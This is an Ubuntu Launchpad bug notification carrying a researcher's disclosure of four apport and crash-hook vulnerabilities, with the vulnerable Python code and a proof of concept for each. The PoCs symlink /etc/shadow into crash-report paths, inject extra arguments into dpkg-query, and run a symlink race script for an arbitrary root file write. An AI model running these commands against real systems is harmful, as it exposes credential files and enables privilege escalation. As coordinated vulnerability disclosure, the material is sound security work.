** Changed in: apport (Ubuntu Impish) Assignee: (unassigned) => SatoshiNakamoto (evansanita713)
-- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1917904 Title: Arbitrary file reads Status in apport package in Ubuntu: Fix Released Status in apport source package in Bionic: Fix Released Status in openjdk-lts source package in Bionic: New Status in apport source package in Focal: Fix Released Status in openjdk-lts source package in Focal: New Status in apport source package in Groovy: Fix Released Status in openjdk-lts source package in Groovy: New Status in apport source package in Hirsute: Fix Released Status in openjdk-lts source package in Hirsute: New Status in apport source package in Impish: Fix Released Status in openjdk-lts source package in Impish: New Bug description: # Vulnerabilities in Apport During a cursory code review, several potential security issues in `apport` and crash-related hooks in packages such as `Xorg` and `openjdk-14-lts` have been identified. While the issue regarding the `openjdk-14-lts` package is exploitable on default installations, the remaining issues most likely are mitigated by the sysctl setting `fs.protected_symlinks` on default Ubuntu installations. With regard to issues mitigated by `fs.protected_symlinks`, it is not clear if they are considered to be part of the threat model, but nonetheless will be included in this report. Further, if the issues regarding package hooks should be reported in the corresponding packages' bug tracker, please let me know. ## Issue 1: Arbitrary file read in package-hooks/source_openjdk-*.py The `add_info()` function allows for a directory traversal by building a file path using user-controlled data without properly sanitizing the resulting path. ```Python def add_info(report, ui=None): if report['ProblemType'] == 'Crash' and 'ProcCwd' in report: # attach hs_err_<pid>.pid file cwd = report['ProcCwd'] pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"]) if pid_line: pid = pid_line.groups()[0] path = "%s/hs_err_pid%s.log" % (cwd, pid) # make sure if exists if os.path.exists(path): content = read_file(path) # truncate if bigger than 100 KB # see LP: #1696814 max_length = 100*1024 if sys.getsizeof(content) < max_length: report['HotspotError'] = content report['Tags'] += ' openjdk-hs-err' else: report['HotspotError'] = content[:max_length] + \ "\n[truncated by openjdk-11 apport hook]" + \ "\n[max log size is %s, file size was %s]" % \ (si_units(max_length), si_units(sys.getsizeof(content))) report['Tags'] += ' openjdk-hs-err' ``` By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as `0`, the function includes an arbitrary file by following a potential symbolic link `/home/user/hs_err_pid0.log`. ### PoC ``` $ sudo apt install openjdk-14-jdk $ sudo sysctl fs.protected_symlinks fs.protected_symlinks = 1 $ ln -s /etc/shadow /home/user/hs_err_pid0.log $ pid=$'\t0';cat << EOF > /var/crash/poc.crash ProblemType: Crash ExecutablePath: /poc Package: openjdk-lts 123 SourcePackage: openjdk-lts ProcCwd: /home/user ProcStatus: Pid:$pid Uid:$pid EOF $ grep -A3 root: /var/crash/poc.crash root:!:18393:0:99999:7::: daemon:*:18375:0:99999:7::: bin:*:18375:0:99999:7::: sys:*:18375:0:99999:7::: ``` ## Issue 2: Arbitrary file read in package-hooks/source_xorg.py (Info) The root cause of this issue stems from the fact, that a potentially user-controlled file in the `/tmp` directory is not checked for being a symbolic link and therefore might allow including arbitrary files in the processed crash report: Note: Requires `fs.protected_symlinks=0` ```Python def attach_3d_info(report, ui=None): ... # Compiz internal state if compiz crashed if True or report.get('SourcePackage','Unknown') == "compiz" and "ProcStatus" in report: compiz_pid = 0 pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"]) if pid_line: compiz_pid = pid_line.groups()[0] compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid attach_file_if_exists(report, compiz_state_file, "compiz_internal_states") ``` ### PoC ``` $ sudo sysctl fs.protected_symlinks=0 fs.protected_symlinks = 0 $ ln -s /etc/shadow /tmp/compiz_internal_state0 $ cat << EOF > /var/crash/poc.crash ProblemType: Crash ExecutablePath: /poc Package: source_xorg 123 SourcePackage: compiz ProcStatus: Pid: EOF $ grep -A3 compiz_internal poc.crash compiz_internal_states: root:!:18686:0:99999:7::: daemon:*:18474:0:99999:7::: bin:*:18474:0:99999:7::: ``` ## Issue 3: Spoof modified config files via argument injection (Info) The `get_modified_conffiles()` function allows to spoof modified configuration files by a controlled package name: ```Python def get_modified_conffiles(self, package): ... dpkg = subprocess.Popen(['dpkg-query', '-W', '--showformat=${Conffiles}', package], stdout=subprocess.PIPE) ``` By supplying a `package` name such as `--showformat='${Conffiles;6}shadow 1\n'` it is possible to manipulate dpkg-query's output and therefore to include the `shadow` file in the resulting crash report. Please note however that this function is seemingly only called in the `attach_conffiles()` function, which subsequently requires a UI response of the user to finally include the file in the crash report. ### PoC ``` $ dpkg-query -W --showformat='${Conffiles}' --showformat='${Conffiles;6}shadow 1\n' | head -n2 /etc/shadow 1 shadow 1 ``` ## Issue 4: Arbitrary file write in whoopsie-upload-all (Info) After adding additional information to the crash file, `whoopsie-upload-all` does not check if the crash file was replaced by a symbolic link before writing the extended report back into the file. Thus, replacing the crash file with a symbolic link allows to write into arbitrary files using `whoopsie-upload-all`'s elevated privileges. By using a program's lax configuration parsing (e.g. `logrotate`), this might lead to code execution. Note: Requires `fs.protected_symlinks=0` ```Python def process_report(report): '''Collect information for a report and mark for whoopsie upload ... # write updated report, we use os.open and os.fdopen as # /proc/sys/fs/protected_regular is set to 1 (LP: #1848064) fd = os.open(report, os.O_WRONLY | os.O_APPEND) with os.fdopen(fd, 'wb') as f: os.chmod(report, 0) r.write(f, only_new=True) os.chmod(report, 0o640) ``` ### PoC ``` $ sudo sysctl fs.protected_symlinks fs.protected_symlinks = 0 $ cat ex.sh TARGET="/JRN" while :; do FN="/var/crash/$RANDOM.poc.crash" pid=$'\t0';cat << EOF > $FN ProblemType: Crash ExecutablePath: /poc Package: openjdk-lts 123 SourcePackage: openjdk-lts ProcCwd: /home/user ProcStatus: Pid:$pid Uid:$pid EOF while :; do if ps aux|grep -q "[w]hoopsie-upload-all";then break; fi done sleep 0.3 rm -f $FN ln -s $TARGET $FN if [ -s /JRN ]; then echo DONE.; break; fi done $ sudo touch /JRN; ls -l /JRN # simulating file in e.g. /etc/logrotate.d/ -rw-r--r-- 1 root root 0 M�r 3 14:15 /JRN $ bash ex.sh DONE. $ ls -l /JRN; sudo head -n3 /JRN -rw-r----- 1 root root 105028 M�r 3 14:16 /JRN ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip ``` # Credits Please credit m...@secfault-security.com (@fktio) if the issues are considered valid. Further, please coordinate the patch release date with us, in case we consider publishing a short article about these issues. Best regards, maik To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1917904/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp